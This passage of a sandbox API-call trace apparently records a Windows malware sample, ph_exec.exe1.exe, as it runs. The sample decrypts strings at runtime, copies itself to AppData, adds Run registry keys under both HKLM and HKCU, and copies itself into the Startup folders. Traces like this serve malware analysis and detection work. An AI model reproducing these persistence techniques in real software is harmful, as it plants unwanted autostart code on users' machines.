lpDst="") returned 0x1e [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f00 | out: hHeap=0x80000) returned 1 [0041.261] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x84ed8, Size=0x3a) returned 0x84ed8 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x3a) returned 0x84f20 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81008 [0041.261] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f664 | out: phKey=0x73f664*=0xf8f00) returned 1 [0041.261] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0x73f64c, dwFlags=0x0) returned 1 [0041.261] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81008, pdwDataLen=0x73f618 | out: pbData=0x81008, pdwDataLen=0x73f618) returned 1 [0041.261] CryptDestroyKey (hKey=0xf8f00) returned 1 [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0041.261] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x84ed8, nSize=0x1d | out: lpDst="") returned 0x1e [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f20 | out: hHeap=0x80000) returned 1 [0041.261] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x84ed8, Size=0x72) returned 0x84ed8 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x72) returned 0x84f58 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81008 [0041.262] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f664 | out: phKey=0x73f664*=0xf9540) returned 1 [0041.262] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x73f64c, dwFlags=0x0) returned 1 [0041.262] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81008, pdwDataLen=0x73f618 | out: pbData=0x81008, pdwDataLen=0x73f618) returned 1 [0041.262] CryptDestroyKey (hKey=0xf9540) returned 1 [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0041.262] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x84ed8, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f58 | out: hHeap=0x80000) returned 1 [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84f58 [0041.262] CryptImportKey (in: hProv=0xe6710, pbData=0x73f624, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f68c | out: phKey=0x73f68c*=0xf9400) returned 1 [0041.262] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f674, dwFlags=0x0) returned 1 [0041.262] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84f58, pdwDataLen=0x73f640 | out: pbData=0x84f58, pdwDataLen=0x73f640) returned 1 [0041.262] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x3e) returned 0x84fa0 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x3e) returned 0x81008 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81050 [0041.262] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f664 | out: phKey=0x73f664*=0xf8f00) returned 1 [0041.262] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0x73f64c, dwFlags=0x0) returned 1 [0041.262] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81050, pdwDataLen=0x73f618 | out: pbData=0x81050, pdwDataLen=0x73f618) returned 1 [0041.262] CryptDestroyKey (hKey=0xf8f00) returned 1 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x10) returned 0x84eb0 [0041.262] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5e0 | out: phkResult=0x73f5e0*=0x224) returned 0x0 [0041.262] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0x73f5dc, lpData=0x81008, lpcbData=0x73f5e4*=0x3e | out: lpType=0x73f5dc*=0x2, lpData=0x81008*=0xc0, lpcbData=0x73f5e4*=0x98) returned 0xea [0041.262] RegCloseKey (hKey=0x224) returned 0x0 [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81050 | out: hHeap=0x80000) returned 1 [0041.262] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0041.262] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x84fa0, Size=0x7a) returned 0x81008 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x7a) returned 0x81090 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81118 [0041.262] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f660 | out: phKey=0x73f660*=0xf9540) returned 1 [0041.262] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x73f648, dwFlags=0x0) returned 1 [0041.262] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81118, pdwDataLen=0x73f614 | out: pbData=0x81118, pdwDataLen=0x73f614) returned 1 [0041.262] CryptDestroyKey (hKey=0xf9540) returned 1 [0041.262] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x10) returned 0x84eb0 [0041.262] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5dc | out: phkResult=0x73f5dc*=0x224) returned 0x0 [0041.263] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0x73f5d8, lpData=0x81090, lpcbData=0x73f5e0*=0x7a | out: lpType=0x73f5d8*=0x2, lpData=0x81090*=0xc0, lpcbData=0x73f5e0*=0x98) returned 0xea [0041.263] RegCloseKey (hKey=0x224) returned 0x0 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81118 | out: hHeap=0x80000) returned 1 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81090 | out: hHeap=0x80000) returned 1 [0041.263] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81008, Size=0xf2) returned 0x81008 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xf2) returned 0x81108 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81208 [0041.263] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f660 | out: phKey=0x73f660*=0xf9500) returned 1 [0041.263] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f648, dwFlags=0x0) returned 1 [0041.263] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81208, pdwDataLen=0x73f614 | out: pbData=0x81208, pdwDataLen=0x73f614) returned 1 [0041.263] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x10) returned 0x84eb0 [0041.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5dc | out: phkResult=0x73f5dc*=0x224) returned 0x0 [0041.263] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0x73f5d8, lpData=0x81108, lpcbData=0x73f5e0*=0xf2 | out: lpType=0x73f5d8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x73f5e0*=0x98) returned 0x0 [0041.263] RegCloseKey (hKey=0x224) returned 0x0 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84eb0 [0041.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5dc | out: phkResult=0x73f5dc*=0x224) returned 0x0 [0041.263] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0x73f5d8, lpData=0x811a0, lpcbData=0x73f5e0*=0x5a | out: lpType=0x73f5d8*=0x0, lpData=0x811a0*=0x73, lpcbData=0x73f5e0*=0x5a) returned 0x2 [0041.263] RegCloseKey (hKey=0x224) returned 0x0 [0041.263] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5f0 | out: phkResult=0x73f5f0*=0x224) returned 0x0 [0041.263] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0x73f5ec, lpData=0x811a0, lpcbData=0x73f5f4*=0x5a | out: lpType=0x73f5ec*=0x2, lpData=0x811a0*=0x73, lpcbData=0x73f5f4*=0x78) returned 0xea [0041.263] RegCloseKey (hKey=0x224) returned 0x0 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81208 | out: hHeap=0x80000) returned 1 [0041.263] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81108 | out: hHeap=0x80000) returned 1 [0041.263] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81008, Size=0x1e2) returned 0x81008 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e2) returned 0x811f8 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x813e8 [0041.263] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f660 | out: phKey=0x73f660*=0xf9400) returned 1 [0041.263] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f648, dwFlags=0x0) returned 1 [0041.263] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x813e8, pdwDataLen=0x73f614 | out: pbData=0x813e8, pdwDataLen=0x73f614) returned 1 [0041.263] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.263] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x10) returned 0x84eb0 [0041.264] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5dc | out: phkResult=0x73f5dc*=0x224) returned 0x0 [0041.264] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0x73f5d8, lpData=0x811f8, lpcbData=0x73f5e0*=0x1e2 | out: lpType=0x73f5d8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x73f5e0*=0x98) returned 0x0 [0041.264] RegCloseKey (hKey=0x224) returned 0x0 [0041.264] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.264] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84eb0 [0041.264] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5dc | out: phkResult=0x73f5dc*=0x224) returned 0x0 [0041.264] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0x73f5d8, lpData=0x81290, lpcbData=0x73f5e0*=0x14a | out: lpType=0x73f5d8*=0x0, lpData=0x81290*=0x73, lpcbData=0x73f5e0*=0x14a) returned 0x2 [0041.264] RegCloseKey (hKey=0x224) returned 0x0 [0041.264] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x73f5f0 | out: phkResult=0x73f5f0*=0x224) returned 0x0 [0041.264] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0x73f5ec, lpData=0x81290, lpcbData=0x73f5f4*=0x14a | out: lpType=0x73f5ec*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x73f5f4*=0x78) returned 0x0 [0041.264] RegCloseKey (hKey=0x224) returned 0x0 [0041.264] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84eb0 | out: hHeap=0x80000) returned 1 [0041.264] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x813e8 | out: hHeap=0x80000) returned 1 [0041.264] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x81008, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0041.264] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x811f8 | out: hHeap=0x80000) returned 1 [0041.264] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f58 | out: hHeap=0x80000) returned 1 [0041.264] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x811f8 [0041.264] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x84f58 [0041.265] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x85170 [0041.265] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x85388 [0041.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x811f8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0041.265] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x855a0 [0041.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x855a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0041.265] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x855a0 | out: hHeap=0x80000) returned 1 [0041.265] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x855a0 [0041.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x855a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0041.265] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x855a0 | out: hHeap=0x80000) returned 1 [0041.265] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), bFailIfExists=0) returned 1 [0041.277] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x73f6f4 | out: phkResult=0x73f6f4*=0x224) returned 0x0 [0041.277] RegSetValueExW (in: hKey=0x224, lpValueName="ph_exec.exe1", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe") returned 0x0 [0041.277] RegCloseKey (hKey=0x224) returned 0x0 [0041.277] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x73f6e0 | out: phkResult=0x73f6e0*=0x224) returned 0x0 [0041.277] RegSetValueExW (in: hKey=0x224, lpValueName="ph_exec.exe1", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe") returned 0x0 [0041.277] RegCloseKey (hKey=0x224) returned 0x0 [0041.277] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x118) returned 0x81410 [0041.277] GetLastError () returned 0x0 [0041.277] SetLastError (dwErrCode=0x0) [0041.277] GetLastError () returned 0x0 [0041.277] SetLastError (dwErrCode=0x0) [0041.277] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.278] SetLastError (dwErrCode=0x0) [0041.278] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.282] SetLastError (dwErrCode=0x0) [0041.282] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.283] SetLastError (dwErrCode=0x0) [0041.283] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.287] SetLastError (dwErrCode=0x0) [0041.287] GetLastError () returned 0x0 [0041.288] SetLastError (dwErrCode=0x0) [0041.288] GetLastError () returned 0x0 [0041.288] SetLastError (dwErrCode=0x0) [0041.288] GetLastError () returned 0x0 [0041.288] SetLastError (dwErrCode=0x0) [0041.288] GetLastError () returned 0x0 [0041.288] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0041.288] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: 